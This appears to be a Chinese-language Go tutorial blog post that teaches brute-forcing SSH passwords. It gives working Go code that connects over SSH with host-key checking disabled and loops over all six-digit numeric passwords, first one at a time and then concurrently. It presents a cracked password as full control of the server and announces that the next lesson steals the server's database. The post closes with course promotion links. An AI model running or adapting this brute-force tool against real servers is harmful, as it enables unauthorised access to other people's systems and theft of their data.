需求和思路分析
- 现在的很多小伙伴们都拥有了自己的云服务器了,lots of them!
- 平时大家是怎么做服务器管理的呢?相信多数人都是通过SSH客户端连接过去的吧;
- 无论PUTTY还是XShell,我们只需要一个登陆密码,就能轻松地登陆到远程服务器终端,然后对我们的服务器做任何事情;
- 只需要一个密码就可以了!
- Go语言有SSH连接的第三方库,参数自然是用户名、密码、远程IP和端口,而密码我们可以通过暴力枚举来进行破解;
建立靶机
安装并运行SSH服务,以Ubuntu为例
//安装SSH服务
sudo apt install openssh-server
//查看服务状态
sudo systemctl status ssh
//启动服务
sudo systemctl start ssh
使用另一台虚拟机与之进行SSH连接
ssh sriouyang@192.168.137.152
安装第三方库
go get golang.org/x/crypto/ssh
访问golang.org需要翻墙,我们可以先手动在GOPATH/src下创建golang.org/x目录,cd到这个目录,然后执行
git clone https://github.com/golang/crypto.git
连接SSH服务器
核心API如下:
func Dial(network, addr string, config *ClientConfig) (*Client, error)
func (c *Client) NewSession() (*Session, error)
从核心API出发,一步一步按图索骥,我们就能够写出连接的完整代码了
/*获取客户端连接*/
func SSHConnect(user, password, host string, port int) (*ssh.Client, *ssh.Session, error) {
var (
authMethods []ssh.AuthMethod
addr string
clientConfig *ssh.ClientConfig
client *ssh.Client
session *ssh.Session
err error
)
// 创建密码校验方法
authMethods = make([]ssh.AuthMethod, 0)
authMethods = append(authMethods, ssh.Password(password))
// 创建一个格式合法的回调函数
hostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
}
/*创建SSH客户端配置*/
clientConfig = &ssh.ClientConfig{
User: user,
Auth: authMethods,
// Timeout: 30 * time.Second,
HostKeyCallback: hostKeyCallbk,
}
// 连接地址
addr = fmt.Sprintf("%s:%d", host, port)
// 拨号并获取SSH客户端
if client, err = ssh.Dial("tcp", addr, clientConfig); err != nil {
return nil, nil, err
}
// 创建新的会话
if session, err = client.NewSession(); err != nil {
return nil, nil, err
}
return client, session, nil
}
测试密码正确与否
下面的代码中,我们分别使用正确的密码和错误的密码尝试与靶机建立SSH连接,连接成功时,返回的error为空,说明密码是正确的,否则返回具体的error;
/*成功与失败*/
func main() {
//正确密码
_, session, err := SSHConnect("sriouyang", "123456", "192.168.137.152", 22)
//err为空
fmt.Println(session, err)
//错误密码
_, session, err = SSHConnect("sriouyang", "654321", "192.168.137.152", 22)
//err不为空
fmt.Println(session, err)
}
同步暴力破解密码
以6位纯数字密码为例,我们就可以这样来破解了
/*同步暴力破解所有6位纯数字密码*/
func main02() {
for i := 0; i < 1000000; i++ {
//尝试使用当前密码登录SSH服务器
pwd := strconv.Itoa(i)
_, session, e := SSHConnect("sirouyang", pwd, "192.168.137.152", 22)
fmt.Println(session, e)
//根据错误是否为空判断密码是否正确
if e != nil {
fmt.Println(i, "尝试失败")
} else {
fmt.Println(i, "正确密码", pwd)
break
}
}
}
异步暴力破解密码
- 同步破解每次密码尝试都需要等待很久才能返回结果,对于几千万次的不同组合的尝试来说,这显然是不OK的,于是Go语言的并发来了!
- 我们对上述同步破解代码进行改进,将每次尝试丢给一个不同的协程去做,这样我们就能并发地测试多个密码了;
- 注意事项1:每次尝试失败后,要断开客户端连接,否则很快连接就满了或者无效了,就会出现各种各样的BUG;
- 注意事项2:不要真的开辟百万并发协程,那只是一个美好的理想,现实中服务器端的最大连接数是有限的,所以我们使用管道模拟信号量,来控制最大并发数,此处桫哥使用了5并发;
- 注意事项3:在统计尝试次数时,尝试次数这个变量不要并发地去修改,否则容易出错,桫哥在此处使用了原子变量做同步修改;
完整代码实现如下:
/*异步破解*/
func main03() {
//chQuit := make(chan string)
//控制并发数
chSem := make(chan int, 5)
//全局等待组
var wg sync.WaitGroup
//尝试次数
var count int64
/*暴力尝试密码*/
for i := 123400; i < 123500; i++ {
//开辟尝试协程并注册到等待组
wg.Add(1)
go func(i int) {
//使用管道做并发数控制
chSem <- i
//尝试连接
pwd := strconv.Itoa(i)
client, session, e := SSHConnect("sriouyang", pwd, "192.168.137.152", 22)
//最终关闭客户端
defer func() {
if session != nil {
session.Close()
}
if client != nil {
client.Close()
}
}()
//记录尝试次数,此处使用原子操作保证同步
atomic.AddInt64(&count, 1)
fmt.Println(e)
//判断破解是否成功
if e != nil {
fmt.Println(i, "密码错误")
if pwd == "123456" {
log.Print(e)
}
} else {
fmt.Println(i, "正确密码")
fmt.Println("共尝试", count, "次")
os.Exit(0)
}
//让出并发位置,从等待组中注销
<-chSem
wg.Done()
}(i)
}
//等待所有协程结束
wg.Wait()
fmt.Println("main over!")
}
执行结果如下
破解了密码就等于完全控制了服务器,下一节我们将把服务器数据库里的数据盗走,名曰“脱库”;
加入兄弟连Go区块链帝国,获取海量免费学习资源,并天天有惊喜(小姐姐出没)
桫哥带你学Golang云盘 链接:https://pan.baidu.com/s/1LsajZhxEp5G5JvK1VhrSxQ 提取码:nab8
有疑问加站长微信联系(非本文作者))
